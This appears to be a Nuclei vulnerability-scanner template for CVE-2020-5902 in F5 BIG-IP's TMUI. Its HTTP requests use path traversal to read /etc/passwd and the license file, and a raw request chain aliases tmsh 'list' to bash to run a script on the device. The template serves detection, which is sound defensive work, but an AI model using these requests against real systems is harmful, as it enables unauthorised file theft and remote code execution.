id: CVE-2020-5902 info: name: F5 BIG-IP TMUI - Remote Code Execution author: madrobot,dwisiswant0,ringo severity: critical description: F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. reference: - http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html - http://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.html - http://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html - http://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.html - http://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html - https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/ - https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 - https://support.f5.com/csp/article/K52145254 - https://swarm.ptsecurity.com/rce-in-f5-big-ip/ - https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/ - https://www.kb.cert.org/vuls/id/290915 - https://nvd.nist.gov/vuln/detail/CVE-2020-5902 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-5902 cwe-id: CWE-22,CWE-829 epss-score: 0.97562 tags: cve2020,bigip,rce,kev,packetstorm,cve metadata: max-request: 8 http: - method: GET path: - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release" - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license" - "{{BaseURL}}/hsqldb%0a" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:.*:0:0:" - "BIG-IP release ([\\d.]+)" - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}" - "HSQL Database Engine Servlet" condition: or - raw: - | POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 Host: {{Hostname}} command=create%20cli%20alias%20private%20list%20command%20bash - | POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1 Host: {{Hostname}} fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d - | POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 Host: {{Hostname}} command=list%20%2Ftmp%2Fnonexistent - | POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 Host: {{Hostname}} command=delete%20cli%20alias%20private%20list matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "h3ll0_w0Rld"